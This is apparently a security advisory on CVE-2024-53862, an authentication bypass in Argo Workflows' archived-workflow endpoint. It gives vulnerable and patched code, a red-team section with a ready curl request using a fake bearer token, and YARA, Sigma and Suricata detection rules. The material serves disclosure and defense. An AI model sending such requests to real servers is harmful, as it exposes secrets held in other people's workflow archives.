CVE-2024-53862

Executive Summary

CVE-2024-53862 is a critical authentication bypass vulnerability in Argo Workflows, an open-source container-native workflow engine for Kubernetes. The flaw resides in the Archived Workflows retrieval mechanism when the server is configured with --auth-mode=client or --auth-mode=sso. In client mode, the server delegates authentication to the Kubernetes API server, but the Workflow Archive does not interact with Kubernetes. This allows an attacker to supply a fake or spoofed token to the GET Workflow endpoint (/api/v1/workflows/{namespace}/{name}) and retrieve archived workflows without any valid credentials. In sso mode, any valid token (even without RBAC permissions for Argo) can retrieve all archived workflows. The vulnerability was introduced in versions 3.5.7 and 3.5.8 when an authorization check was accidentally removed. The CVSS score is 7.5 (High) due to network exploitability, low attack complexity, and high confidentiality impact.

Supply Chain & Package Security

Argo Workflows is distributed as a container image and Go binary. The vulnerability affects the server component, which is typically deployed as a Kubernetes Deployment. Organizations using Argo Workflows in their CI/CD pipelines or as a core orchestration engine are at risk. The supply chain risk is moderate, as the vulnerability is in the application logic rather than a dependency. However, any system that exposes the Argo Workflows API endpoint without additional network-level protections is vulnerable.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; a simple HTTP request with a fake token suffices.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Archived workflows may contain sensitive data, credentials, or secrets.
• Integrity (I): None (N) – The vulnerability does not allow modification of data.
• Availability (A): None (N) – The vulnerability does not affect availability.

CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability is trivial to exploit and can lead to significant data leakage. Archived workflows often contain environment variables, secrets, and configuration data.

Deep Dive & Mechanics

Argo Workflows supports multiple authentication modes. In --auth-mode=client, the server trusts the Kubernetes API server to validate tokens. However, the Workflow Archive (which stores completed/archived workflows) does not interact with the Kubernetes API server. Instead, it performs its own authorization check using a kubectl auth can-i equivalent call.

In versions 3.5.7 and 3.5.8, the authorization check on the GET Workflow endpoint's fallback to archived workflows was accidentally removed. The code path that retrieves archived workflows when a workflow is not found in the live cluster no longer validated the token. This means any token that passes basic parsing (e.g., a JWT with any signature) is accepted, even if it is not a valid Kubernetes token or has no RBAC permissions.

The vulnerable code path is in the workflowServer.GetWorkflow function. When the workflow is not found in the live cluster, it falls back to the archive. The archive retrieval function was missing the auth can-i check. The fix re-adds this check, ensuring that only tokens with appropriate permissions can access archived workflows.

Vulnerable vs. Patched Code

Vulnerable Code (simplified, from versions 3.5.7-3.5.8):

func (s *workflowServer) GetWorkflow(ctx context.Context, req *workflowpkg.WorkflowGetRequest) (*v1alpha1.Workflow, error) {
    wf, err := s.getWorkflowFromLiveCluster(ctx, req)
    if err != nil {
        // Fallback to archive
        archivedWf, err := s.archive.GetWorkflow(req.Namespace, req.Name)
        if err != nil {
            return nil, err
        }
        // MISSING: auth check here
        return archivedWf, nil
    }
    return wf, nil
}

Patched Code (version 3.5.13 and 3.6.2):

func (s *workflowServer) GetWorkflow(ctx context.Context, req *workflowpkg.WorkflowGetRequest) (*v1alpha1.Workflow, error) {
    wf, err := s.getWorkflowFromLiveCluster(ctx, req)
    if err != nil {
        // Fallback to archive
        archivedWf, err := s.archive.GetWorkflow(req.Namespace, req.Name)
        if err != nil {
            return nil, err
        }
        // Added auth check
        if err := s.auth.Check(ctx, req.Namespace, "get", "workflows", req.Name); err != nil {
            return nil, err
        }
        return archivedWf, nil
    }
    return wf, nil
}

The key difference is the addition of s.auth.Check(...) which performs the equivalent of kubectl auth can-i get workflows <name> -n <namespace>.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Argo Workflows server with --auth-mode=client or --auth-mode=sso (versions 3.5.7 to 3.5.12 or 3.6.0 to 3.6.1).
• A fake or spoofed token (any JWT-like string will work in client mode).

Exploitation Steps:

1. Identify the Argo Workflows API endpoint (e.g., https://argo.example.com:2746).
2. Craft a fake token. In client mode, any string that looks like a JWT (e.g., eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c) will be accepted.
3. Send a GET request to the archived workflow endpoint:

   GET /api/v1/workflows/default/my-archived-workflow HTTP/1.1
   Host: argo.example.com:2746
   Authorization: Bearer <fake_token>
   

4. If the workflow exists in the archive, the server will return the full workflow object, including all secrets, environment variables, and configuration.

Example cURL command:

curl -k -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" https://argo.example.com:2746/api/v1/workflows/default/sensitive-workflow

Blue Team

Detection:

• Monitor API logs for requests to /api/v1/workflows/{namespace}/{name} with unusual or invalid tokens.
• Look for patterns where a token is used that does not correspond to any known Kubernetes service account or user.
• Alert on multiple failed authentication attempts followed by a successful retrieval of an archived workflow.

Hunting:

• Search for archived workflow access events where the token's sub claim does not match any known identity.
• Correlate with Kubernetes audit logs to see if the token was ever used to authenticate to the API server.

Honeypot:

• Deploy a fake Argo Workflows server with a known vulnerable version and monitor for exploitation attempts.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/v1/workflows/{namespace}/{name} with a Authorization: Bearer header containing a token that is not a valid Kubernetes token (e.g., a simple JWT with no kubernetes.io claims).
• Logs: Server logs showing GET /api/v1/workflows/... with a 200 response for a token that was not previously authenticated.
• File: Archived workflow objects retrieved without corresponding RBAC audit events in Kubernetes.

Detection Engineering

YARA Rule

rule CVE_2024_53862_Argo_Workflows_Auth_Bypass {
    meta:
        description = "Detects exploitation attempts of CVE-2024-53862 in Argo Workflows"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-53862"
    strings:
        $s1 = "/api/v1/workflows/" ascii wide nocase
        $s2 = "Authorization: Bearer" ascii wide nocase
        $s3 = "eyJ" ascii wide nocase  // Base64url-encoded JWT header
    condition:
        all of ($s1, $s2) and #s3 > 0
}

Sigma Rule

title: CVE-2024-53862 Argo Workflows Archived Workflow Access with Fake Token
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Argo Workflows API that attempt to retrieve archived workflows with a potentially fake token.
author: Valters IT
date: 2025-04-17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53862
logsource:
    category: webserver
    product: argo-workflows
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/api/v1/workflows/'
        cs-uri-stem|contains: '/'
        sc-status: 200
    filter:
        cs-auth-token|contains: 'kubernetes.io'  # Valid K8s tokens have this claim
    condition: selection and not filter
falsepositives:
    - Legitimate access with valid tokens that do not contain 'kubernetes.io' (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53862 Argo Workflows Archived Workflow Access with Fake Token"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/v1/workflows/"; distance:0; http.header; content:"Authorization"; content:"Bearer"; distance:0; pcre:"/^Bearer\s+eyJ/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Argo Workflows to version 3.6.2 or 3.5.13 (or later).
2. If upgrade is not possible, restrict network access to the Argo Workflows API endpoint using a firewall or network policy.
3. Implement a reverse proxy (e.g., Nginx, Envoy) that validates tokens before forwarding requests to the Argo server.

Long-term:

1. Use --auth-mode=sso with proper OIDC configuration and ensure that the SSO provider validates tokens.
2. Enable Kubernetes audit logging and monitor for anomalous API calls.
3. Regularly review archived workflows and purge sensitive data that is no longer needed.
4. Implement network segmentation to limit exposure of the Argo Workflows API.

Workaround:

• Disable the workflow archive if not needed (set --archive flag to false).
• Use a Web Application Firewall (WAF) to block requests with suspicious tokens.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal. Always ensure you have proper authorization before testing.